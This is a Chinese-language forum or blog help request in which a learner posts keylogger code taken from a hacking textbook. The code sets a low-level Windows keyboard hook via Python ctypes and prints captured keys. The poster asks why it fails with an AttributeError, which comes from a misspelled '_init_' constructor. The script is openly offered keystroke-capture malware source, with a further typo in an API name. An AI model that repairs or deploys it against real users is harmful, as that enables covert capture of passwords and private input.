求助圈内诸位大神! 为什么以下的代码报错?

求助圈内诸位大神! 为什么以下的代码报错?

程序想要实现的效果是抓取键盘的输入记录, 为什么最终报错? 代码来自中国工信出版集团《Python黑客攻防入门》

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD


user32 = windll.user32
kernel32 = windll.kernel32

WH_KEYBOARD_LL=13
WM_KEYDOWN=0X0100
CTRL_CODE = 162

class keyLogger:
    def _init_(self):
        self.lUser32 = user32
        self.hooked = None

    def installHookProc(self, pointer):
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandLeW(None),
            0
        )
        if not self.hooked:
            return False
        return True

    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(lParam[0])
    print (hookedKey)
    if(CTRL_CODE == int(lParam[0])):
        print ("Ctrl pressed, call uninstallHook()")
        keyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)

def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg),0,0,0)

keyLogger = keyLogger()
pointer = getFPTR(hookProc)

if keyLogger.installHookProc(pointer):
    print ("installed keyLogger")

startKeyLog()

报错的信息如下:
Traceback (most recent call last):
File “C:\Users\Lenovo\Desktop\KeyHacking.py”,line 58, in
if keyLogger.installHookProc(pointer):
## 标题
File “C:\Users\Lenovo\Desktop\KeyHacking.py”, line 20, in installHookProc
self.hooked = self.lUser32.SetWindowsHookExA(

AttributeError: ‘keyLogger’ object has no attribute ‘lUser32’

编辑器是Python的IDLE 3.7 64位

求助大神们啦~~

发布了10 篇原创文章 · 获赞 3 · 访问量 432

猜你喜欢

转载自blog.csdn.net/yhwecsdn2009/article/details/99420747